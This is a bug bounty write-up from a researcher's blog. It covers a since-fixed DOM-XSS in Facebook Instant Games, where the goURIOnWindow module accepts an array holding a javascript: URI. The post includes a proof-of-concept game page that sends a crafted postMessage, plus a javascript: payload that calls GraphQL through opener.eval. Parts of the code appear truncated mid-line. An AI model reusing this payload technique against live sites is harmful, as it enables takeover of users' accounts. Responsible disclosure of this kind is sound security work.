YOUSSEF SAMMOUDA

MENU

DOM-XSS in Instant Games due to improper verification of supplied URLs

JANUARY 29, 2023

This bug could allow a malicious actor to takeover Facebook (and Meta) accounts after tricking the user to play an Instant Game. This bug happens since the “goURIOnWindow” Module which is widely used in Meta platforms fails to verify the scheme of the supplied URL which means we can supply a javascript URI scheme and achieve DOM-XSS.

Details

The function inside **goURIOnWindow** module has this code

```
__d("goURIOnWindow", ["ConstUriUtils", "FBLogger", "err"], (function(a, b, c, d, e, f, g)
    "use strict";
    function a(a, b) {
        var e = typeof b === "string" ? d("ConstUriUtils").getUri(b) : b;
        if (e)
            a.location = e.toString();
        else {
            a = "Invalid URI " + b.toString() + " provided to goURIOnWindow";
            c("FBLogger")("comet_infra").blameToPreviousFrame().mustfix(a)
        }
    }
    g["default"] = a
}
), 98);
```

It checks if the supplied argument which should be the URL to be passed to window.location is a “String” or not, if it is not then is would just do toString() conversion and set the value to window.location.

The process here is vulnerable since goURIOnWindow assumes that the value supplied is either a “String” which then would use **ConstUriUtils** to create a “URI” Object and verify it’s scheme to be whitelisted **OR** a “URI” Object which must be secure and for that it automatically just convert it to String using toString() which would return “null” in case the scheme is not whitelisted.

However, it doesn’t check if the Object is an instance of the URI object and because of that we can just supply for example an array which contains a javascript URI and it would pass the check.
I found out that Instant Games is vulnerable and other places too in the different places in the platform are

with attacker controlled input being passed to “goURIOnWindow” without previously converting the input using “ConstUriUtils” or “URI” modules.

Two modules seemed vulnerable in Instant Games, both are accessible by the attacker since they are handlers for cross window messages received by the iframe window hosting the game:

– **useInteractivePluginSDKMessageHandler.react**, and exactly “**openurlasync**” message. This one is only available to few games and few type of games like canvas_on_blue/ canvas_on_comet. I didn’t invest much time trying to hit this one.

– **InstantGamesOpenExternalLinkDialog.react**, which is called when a “**showgenericdialogasync**” message is received with request set to “open_external_link”. This one is vulnerable too but requires a click. Below the PoC to exploit this one while hosting a game in Instant Games:

index.html:

```
<!DOCTYPE html>
<html>
<body>
<script type="text/javascript">

const display = window.Display;
const OTHER_APP_ID = '<YOUR OTHER APP ID HERE>';
const CUSTOM_DATA = { 'custom_data': 42 };
window.onload = function() {
FBInstant.initializeAsync()
.then(FBInstant.startGameAsync)
};

</script>
<script>

var i = 0;
function fun(e) {

if (i == 5)
window.top.postMessage({"type":"showgenericdialogasync","content":{"data":"{\"url\":[\"javasc

i++;
}

onmessage = (e)=>{f=e.data; if (typeof f !== "string") {fun(e.source)}}
</script>
</body>
</html>
```

fb-app-config.json:

```
{ "instant_games": { "platform_version": "RICH_GAMEPLAY", "custom_update_templates": { "play_
```

javascript:opener.eval(‘new AsyncRequest(\\\\’/api/graphql/\\\\’).setData({doc_id:\\\\’xxxxxxxxxxxxxx\\\\’,variables:\\\\'{}\\\\’}).send()’);\”]} would use a Facebook module to make an async request to the GraphQL endpoint.

Later, Meta confirmed that this was causing DOM-XSS in other places in the Facebook platform and those ones didn’t require user interaction.

Timeline

Oct 24, 2022—Report Sent
Oct 24, 2022— Acknowledged by Meta
Dec 12, 2022—Fixed by Meta
Dec 13, 2022— $62500 bounty with bonuses awarded by Meta. (although only $28125 was paid here, Meta rules about ATOs https://www.facebook.com/whitehat/payout_guidelines/account_takeover clearly says that XSS that directly leads to ATO should be rewarded $50000 not including additional bonuses, i raised this concern to them and this should be corrected)

UNCATEGORIZED

‹ PREV POST

Account takeover of Facebook/Oculus accounts due to First-Party access_token stealing

NEXT POST ›

Account Takeover in Canvas Apps served in Comet due to failure in Cross-Window-Message Origin validation

SUMMARY

The goal of this blog is to share write-ups about bugs i have found in Facebook and reported to them under the Facebook bug bounty program.

Search

RECENT POSTS

Account Takeover in Canvas Apps served in Comet due to failure in Cross-Window-Message Origin validation

DOM-XSS in Instant Games due to improper verification of supplied URLs

Account takeover of Facebook/Oculus accounts due to First-Party access_token stealing

Multiple bugs chained to takeover Facebook Accounts which uses Gmail.

More secure Facebook Canvas Part 2: More Account Takeovers